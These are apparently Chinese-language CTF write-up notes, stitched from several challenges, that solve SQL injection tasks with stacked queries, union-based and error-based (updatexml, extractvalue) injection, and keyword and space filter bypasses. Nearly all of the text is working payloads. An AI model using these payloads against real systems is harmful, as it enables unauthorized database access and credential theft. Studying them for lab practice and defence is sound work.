1'; show tables;#
0'; show tables;# //获得两个表名
0'; show columns from `words`;#
0'; show columns from `1919810931114514`;#
//注意表明左右两侧应用键盘左上角的`符号,不可以用单引号
5. 经观察,flag
在1919810931114514
表中,可以看到words
表里有两个属性,即两列:id
和data
。而1919810931114514
表里只有一个属性列说明输入框可能查询的就是words
表。思路是把1919810931114514
表改名为words
表,把属性名flag
改为id
,然后用1’ or 1=1;#
显示flag
出来
1';rename table `words` to words2; //先把words表表明换成其他
1';rename table `1919810931114514` to `words`;#
1'; alter table words change flag id varchar(100);#
1'; show tables;#
1'; show columns from words;#
varchar
函数返回字符串、日期型、图形串的可变长度的字符串表示。 eg: select varchar (name,50) from test --50
为截取长度,如果name字符串的长度大于50,则返回“SQL0445W
值已被截断。
1 and length(database())>=1#
1' and length(database())>=1#
1 and if(length(database())>=1,1,sleep(5))#
1' and if(length(database())>=1,1,sleep(5))#
1;show databases#
1;show tables#
1;show columns from Flag#
7. 这时候我们要重新考虑前面的步骤,这道题目需要我们去对后端语句进行猜测
一、输入非零数字得到的回显1和输入其余字符得不到回显=>来判断出内部的查询语句可能存在有||
二、也就是select 输入的数据||
内置的一个列名 from
表名=>即为
select post进去的数据||flag from Flag(含有数据的表名,通过堆叠注入可知)
此时的||起到的作用是or的作用。
8. 内置的sql语句为
sql=“select”.post[‘query’]."||flag from Flag";
如果$post[‘query’]的数据为* ,1,sql语句就变成了
select *,1||flag from Flag
select *,1 from Flag
*,1
后面的这个1
就是为了吃掉||
但是得非0数字(比如2.3.4.5.6),输入字母它是不会识别的。
首先判断为单引号闭合
尝试万能密码,登录成功,结果尝试不是正确的flag
。
我们重新从order by
查询字段开始
?username=admin' order by 3# &password=admin
查看url
处,发现字符被url
编码,我们可以尝试将注释符#
进行url
编码,得到字段数为3
?username=-1' union select 1,2,3%23 &password=admin
?username=-1' union select 1,2,database()%23 &password=admin
?username=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='geek'%23 &password=admin
?username=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'%23 &password=admin
?username=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='geekuser'%23 &password=admin
?username=-1' union select 1,2,group_concat(password) from geek.geekuser%23 &password=admin
查看l0ve1ysq1
字段中的password
的值,得到flag
。
?username=-1' union select 1,2,group_concat(password) from geek.l0ve1ysq1%23 &password=admin
又是前面熟悉的SQL注入的题目的背景图
首先尝试万能密码登录,发现数据使用为get
方式传参,提示用户名密码错误。
经过测试字符串的闭合方式为单引号
尝试将密码注释掉,登录成功。
?username=admin' --+&password=1
?username=admin' order by 3--+&password=1
?username=admin' oorrder by 2--+ &password=1
?username=admin' oorr '1'='1--+ &password=1
继续尝试联合注入的语句,发现union select均被过滤
?username=admin' union select 1,2,3,4--+ &password=1
?username=admin' uniunionon seleselectct 1,2,3--+ &password=1
?username=1' uniunionon seleselectct 11,22,33--+ &password=1
?username=1' uniunionon seleselectct 11,22,database()--+ &password=1
继续查看表名,发现where、from、or
被过滤,均使用双写关键字绕过。得到表名为b4bsql,geekuser
?username=1' uniunionon selselectect 11,22,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema='geek'--+ &password=1
?username=1' uniunionon selselectect 11,22,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name='b4bsql'--+&password=1
爆出字段b4bsql
字段中paaaword
的值,得到flag。
?username=1' uniunionon selselectect 11,22,group_concat(passwoorrd) frfromom geek.b4bsql--+&password=1
check.php?username=aaa&password=aaa'
尝试单引号发现出现报错,查看报错提示,猜测闭合方式为单引号
3. 经过测试,空格和注释符号均被注释,注释用%23进行绕过,而将空格使用()来绕过。使用联合注入不太行,尝试报错注入。在用户名或密码处进行注入均可。
4. 爆库名
check.php?username=admin&password=aaa'or(updatexml(1,concat(0x7e,database()),1))%23
check.php?username=admin&password=admin'^extractvalue(1,concat(0x7e,database()))%23
admin'or(updatexml(1,concat(0x7e,(select(table_name)from(information_schema.tables)where(table_schema)like('geek')),0x7e),1))%23
admin'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))%23
admin'or(updatexml(1,concat(0x7e,(select(group_concat(id,'~',username,'~',password))from(H4rDsq1)),0x7e),1))%23
- 空格被过滤可以使用
/**/
或者()
绕过=
号被过滤可以用like
来绕过substring
与mid
被过滤可以用right
与left
来绕过
右边的flag
admin'or(updatexml(1,concat(0x7e,(select(right(password,25))from(H4rDsq1)),0x7e),1))%23
将两次得到的flag
进行拼接即可。